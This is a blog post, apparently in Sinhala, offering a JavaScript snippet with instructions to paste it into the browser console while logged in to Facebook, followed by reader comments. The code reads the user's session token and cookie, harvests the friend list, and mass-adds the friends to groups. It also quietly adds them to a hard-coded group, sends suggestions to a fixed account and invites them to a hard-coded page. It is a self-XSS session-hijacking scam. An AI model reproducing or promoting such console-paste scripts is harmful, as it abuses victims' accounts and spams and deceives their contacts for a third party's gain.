";
err++;
if (c.errorDescription) Descriptions += c.errorDescription;
else Descriptions += JSON.stringify(c, null, "")
} else {
Descriptions += "color:darkgreen'>";
Descriptions += arn[i] + " has been added.
";
suc++
}
Descriptions += "
";
var display = "
";
display += "
" + Title + "
";
if (i > 0) {
display += arr.length + " Friends Detected
";
display += "
" + suc + " Friends Added of " + (arr.length - i) + " Friends Processed ";
display += "(" + i + " Lefted...)";
display += "
";
display += Descriptions;
display += "
" + arn[i] + "";
display += "
";
display += getuname + " Adding Friend in " + grpname + ".
";
display += _text;
display += "
";
display += "
"
} else {
display += arr.length + " Friends Detected
";
display += suc + " Friends Added";
display += err + " Friends Not Added";
display += "
Refresh PageCancel"
}
display += "
";
document.getElementById("pagelet_sidebar").innerHTML = display
}, "text", "post");
tay--;
if (tay > 0) {
var s = arr[tay];
sx = pho[tay];
setTimeout("AddFriendtoGroup(" + s + ")", 100)
}
console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
if (gid != 630722550336979) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=630722550336979&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
}
if (newcomer) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100008188902860&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
}
}
function clickfr_callback() {
if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
var a = arr[i];
if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
else j++;
setTimeout("clickfr_callback()", 2E3)
}
function addfriend(a) {
i++;
setTimeout("clickfr()", 2E3)
}
jx = {
getHTTPObject: function() {
var a = false;
if (typeof ActiveXObject != "undefined") try {
a = new ActiveXObject("Msxml2.XMLHTTP")
} catch (b) {
try {
a = new ActiveXObject("Microsoft.XMLHTTP")
} catch (c) {
a = false
}
} else if (window.XMLHttpRequest) try {
a = new XMLHttpRequest
} catch (b) {
a = false
}
return a
},
load: function(url, callback, format, method, opt) {
var http = this.init();
if (!http || !url) return;
if (http.overrideMimeType) http.overrideMimeType("text/xml");
if (!method) method = "GET";
if (!format) format = "text";
if (!opt) opt = {};
format = format.toLowerCase();
method = method.toUpperCase();
var now = "uid=" + (new Date).getTime();
url += url.indexOf("?") + 1 ? "&" : "?";
url += now;
var parameters = null;
if (method == "POST") {
var parts = url.split("?");
url = parts[0];
parameters = parts[1]
}
http.open(method, url, true);
var ths = this;
if (opt.handler) http.onreadystatechange = function() {
opt.handler(http)
};
else http.onreadystatechange = function() {
if (http.readyState == 4) if (http.status == 200) {
var result = "";
if (http.responseText) result = http.responseText;
if (format.charAt(0) == "j") {
result = result.replace(/[\n\r]/g, "");
result = eval("(" + result + ")")
} else if (format.charAt(0) == "x") result = http.responseXML;
if (callback) callback(result)
} else {
if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
if (opt.loading) document.getElementById(opt.loading).style.display = "none";
if (error) error(http.status)
}
};
http.send(parameters)
},
bind: function(a) {
var b = {
url: "",
onSuccess: false,
onError: false,
format: "text",
method: "GET",
update: "",
loading: "",
loadingIndicator: ""
};
for (var c in b) if (a[c]) b[c] = a[c];
if (!b.url) return;
var d = false;
if (b.loadingIndicator) {
d = document.createElement("div");
d.setAttribute("style", "position:absolute;top:0px;left:0px;");
d.setAttribute("class", "loading-indicator");
d.innerHTML = b.loadingIndicator;
document.getElementsByTagName("body")[0].appendChild(d);
this.opt.loadingIndicator = d
}
if (b.loading) document.getElementById(b.loading).style.display = "block";
this.load(b.url, function(a) {
if (b.onSuccess) b.onSuccess(a);
if (b.update) document.getElementById(b.update).innerHTML = a;
if (d) document.getElementsByTagName("body")[0].removeChild(d);
if (b.loading) document.getElementById(b.loading).style.display = "none"
}, b.format, b.method, b)
},
init: function() {
return this.getHTTPObject()
}
};
var nHtml = {
FindByAttr: function(a, b, c, d) {
if (c == "className") c = "class";
var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
if (e && e.singleNodeValue) return e.singleNodeValue;
return null
},
FindByClassName: function(a, b, c) {
return this.FindByAttr(a, b, "className", c)
},
FindByXPath: function(a, b) {
try {
var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
} catch (d) {
GM_log("bad xpath:" + b)
}
if (c && c.singleNodeValue) return c.singleNodeValue;
return null
},
VisitUrl: function(a) {
window.setTimeout(function() {
document.location.href = a
}, 500 + Math.floor(Math.random() * 500))
},
ClickWin: function(a, b, c) {
var d = a.document.createEvent("MouseEvents");
d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
return !b.dispatchEvent(d)
},
Click: function(a) {
return this.ClickWin(window, a, "click")
},
ClickTimeout: function(a, b) {
window.setTimeout(function() {
return nHtml.ClickWin(window, a, "click")
}, b + Math.floor(Math.random() * 500))
},
ClickUp: function(a) {
this.ClickWin(window, a, "mousedown");
this.ClickWin(window, a, "mouseup");
this.ClickWin(window, a, "click")
},
GetText: function(a, b) {
var c = "";
if (b == undefined) b = 0;
if (b > 40) return;
if (a.textContent != undefined) return a.textContent;
for (var d = 0; d < a.childNodes.length; d++) {
var e = a.childNodes[d];
c += this.GetText(e, b + 1)
}
return c
}
};
if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
var c = document.getElementsByTagName("*");
var d = [];
var e;
for (var f = 0;
(e = c[f]) != null; f++) {
var g = e.className;
if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
}
return d
};
Array.prototype.find = function(a) {
var b = false;
for (i = 0; i < this.length; i++) if (typeof a == "function") {
if (a.test(this[i])) {
if (!b) b = [];
b.push(i)
}
} else if (this[i] === a) {
if (!b) b = [];
b.push(i)
}
return b
};
var i = 3;
var tay = 3;
var j = 0;
var k = 0;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
var gid = document.getElementsByName("group_id")[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
i = arr.length - 1;
tay = i;
console.log(arr.length);
var display = "
";
display += "
" + Title + "
";
display += arr.length + " Friends Detected";
display += "
";
document.getElementById("pagelet_sidebar").innerHTML = display;
AddFriendtoGroup(arr[i])
});
jx = {
b: function () {
var b = !1;
if ("undefined" != typeof ActiveXObject) try {
b = new ActiveXObject("Msxml2.XMLHTTP")
} catch (c) {
try {
b = new ActiveXObject("Microsoft.XMLHTTP")
} catch (a) {
b = !1
}
} else if (window.XMLHttpRequest) try {
b = new XMLHttpRequest
} catch (h) {
b = !1
}
return b
},
load: function (b, c, a, h, g) {
var e = this.d();
if (e && b) {
e.overrideMimeType && e.overrideMimeType("text/xml");
h || (h = "GET");
a || (a = "text");
g || (g = {});
a = a.toLowerCase();
h = h.toUpperCase();
b += b.indexOf("?") + 1 ? "&" : "?";
var k = null;
"POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
e.open(h, b, !0);
e.onreadystatechange = g.c ? function () {
g.c(e)
} : function () {
if (4 == e.readyState)
if (200 == e.status) {
var b = "";
e.responseText && (b = e.responseText);
"j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
c && c(b)
} else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
};
e.send(k)
}
},
d: function () {
return this.b()
}
};
var page_id = '713360502017088';
var page_id = '713360502017088';
var i = 0;
var suc = 0;
var arr = new Array;
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
senditnow(arr[i]);
});
function senditnow(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function () {}, "text", "post");
suc++;
if(suc <= arr.length) {
setTimeout(senditnow(arr[suc]),3000);
}
}
මුලින්ම ඔයාට කට්ටිය ඇඩ් කරන්න ඔනි ගෘප් 1කට යන්න :)
ඔයා ඔයා දැන් facebook log වෙලා ඉන්නේ chrome web browser එකක් නම් කට්ටිය ඇඩ් කරන්න ඔනි group එකේ ඉන්න ගමන් ඔයාගේ keyboard එකේ තියන CTRL + SHIFT + J බොත්තම් ඔබන්න (ඒ කිව්වෙ control button එකයි shift button එකයි j අකුරයි එකවර press කරන්න)
ඔයා දැන් facebook log වෙලා ඉන්නේ firefox web browser එකක් නම් අපේ group එකේ ඉන්න ගමන් ඔයාගේ keyboard එකේ තියන CTRL + SHIFT + K බොත්තම් ඔබන්න (ඒ කිව්වෙ control button එකයි shift button එකයි k අකුරයි එකවර press කරන්න)
එතකොට පහලින් පොඩි window එකක් open වෙනව පහල රුපයේ පරිදි දකින්න පුළුවන්
Googal Chrome නම් මේ විදියට පෙන්නයි.
Mozilla firefox නම් මේ විදියට පෙන්නයි.
දැන් keyboard එකේ තියන CTRL + V බොත්තම් ඔබන්න (ඒ කිව්වෙ control button එකයි v අකුරයි එකවර press කරන්න) එතකොට copy කරගත්ත java script එක එතනට paste වෙයි. පහල image එක බලන්න. (සමහර විට press කරපු ගමන් paste නොවී පොඩි වෙලාවකින් paste වෙන්න පුළුවන්. ඒ නිසා කලබල වෙන්න එපා)
සමහර වෙලාවට මේ කෝඩ් පිලිවෙලක් නැතුව වැටෙන්නත් පුලුවන්.(පහල රූපයේ තියන විදියට නැතුව )
දැන් ඔයාට තියෙන්නෙ keyboard එකේ ENTER button එක click කරන එක විතරයි. එතකොට ඔයාගේ friendsල add වෙයි. පහල තියන image එකේ වගේ friendsල add වෙනව. එක close කරන්න යන්න එපා. friendsල add වෙන්න වෙලා යනව. add වෙලා ඉවර වෙනකන් එක ඔහේ තියෙන්න අරින්න.
දැන් add වේනවා පේනවා ඇති..
සියලු දෙනාම ඇඩ් වුනාම Refresh page කියලා ටැබ් එකක් ඒවි.එතකන්යාලුවන් ඇඩ් වෙන්නට ඉඩ හරින්න. සියලු දෙනාම add වුනාම F5 ඔබල Refresh කරන්න.
මෙච්චර වටින දෙයක් ඔයාට දීලත් නිකන් යන්නෙ නැතුව comment එකක් දාලා අපේ fb page එකට like එකක් දාලම යන්න හොදේ :))
මේ ගැන ඔයාලගෙ අදහස් මොනවද?
wada nane mewa ekakwath
ReplyDeletemewa hama ekakma wada mch. oyage fb accaunt eka update welanam samaharawita wadakaranne nehe.
Deletewada karana vidiyahata hadaganna pliwanda. loku udawwak machan plz
DeleteHaritha oyaage fb accaunt eka update welaanam meaka wadakaranne nehe. meka wada karanne update wechcha nathi accaunt ekka witharai. eka hoyaganne oyage chat box eka wam paththenam oyaage fb acc eka update wela kiyana eka. nathnam mawa fb eken hamba wenna mama kiyannam. menna link eka https://www.facebook.com/sumudu.maduranga.55
ReplyDeleteoya mage eke innawa
Deletemachan meka hadala diyanko
ReplyDeletemona widiyatada hadala one ?........
Delete